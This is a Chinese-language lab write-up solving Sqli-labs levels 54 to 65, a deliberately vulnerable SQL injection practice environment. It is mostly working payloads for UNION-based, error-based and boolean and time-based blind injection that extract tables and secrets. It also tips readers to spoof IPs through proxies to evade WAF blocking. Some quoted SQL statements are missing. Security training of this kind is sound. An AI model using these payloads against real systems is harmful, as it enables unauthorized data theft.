Sqli-labs less 54-less 65
0x01:前言
从less 54开始,主要就到了一个进阶的学习,以后的关卡或许限制输入次数或许存在waf,相当于综合性考验。虽然图片显示有75关之多,但是只有65之前是有代码的。这里可能是项目主人接下来的计划。
0x02:开始练习
56、Less 54
由于本关设置输入10次后表名和密码会自动变化,所以我们必须在10次payload内得到密码并提交。由于这一关可以使用报错注入,所以10次绰绰有余
首先我们已经知道数据库名为challenges,测试注入类型后,接下来查询所有表
payload:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
这里我们得到了表名,也就是这一串字符。然后查询所有的列:
payload:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='BCJHWAWV6I' --+
得到列后,查询所有字段内容
payload:?id=-1' union select 1,2,group_concat(id,sessid,secret_Q2M1,tryy) from BCJHWAWV6I --+
结果由于都是字符无法分清哪一段是密码,所以猜测密码在字段 secret_Q2M1 ,payload:?id=-1' union select 1,2,group_concat(secret_Q2M1) from BCJHWAWV6I --+
在实际的渗透测试中,这种情况很可能就是服务端存在waf等安全设备在封堵ip,我们可以使用代理伪造ip地址进行突破限制。
57、Less 55
本关的sql语句为:
所以与less 54相比,只需使用括号闭合即可
payload: ?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
58、Less 56
本关的sql语句为:
所以只需要闭合')即可
payload: ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
59、Less 57
本关的sql语句为:
且代码对mysql_error进行了注释,所以不会有错误回显,但是依然可以使用fuzz的方式测出后端代码。
payload:?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
60、Less 58
使用联合查询报错注入,前台并未返回数据,因为代码限制了返回的数据。也就是说只能返回unames和pass数组的值。
但是由于未注释mysql_error()函数,所以可以使用基于报错的盲注进行注入,payload:
?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+
61、Less 59
本关与less 58基本相同,区别在于sql语句为数字型注入,所以payload:
?id=-1 union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+
62、Less 60
本关与less 58差别在于sql语句使用了双引号括号包裹参数id,所以payload: ?id=-1") union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+
63、Less 61
本关与less 58差别在于sql语句使用了单引号括号括号包裹参数id,也就是两个括号,其实我没见过这么丧心病狂的括号,所以payload: ?id=-1')) union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+
64、Less 62
本关由于错误不回显,所以只能使用基于布尔的盲注和基于时间的盲注。
如payload:?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))>71 --+
payload:?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))=71,sleep(3),1) --+
65、Less 63
本关与less 62基本一致,sql语句为:
所以payload: ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))>71 --+
或者: ?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))=71,sleep(3),1) --+
66、Less 64
本关sql语句为:
其他与less 62相同,所以构造payload:
?id=1)) and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))=71,sleep(3),1) --+
67、Less 65
本关sql语句为:
可见此处对id做了双引号括号处理,所以构造payload:
?id=1") and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))=71,sleep(3),1) --+
0x03:结语
来来去去一个月,终于好好做了一遍。xss我来了!!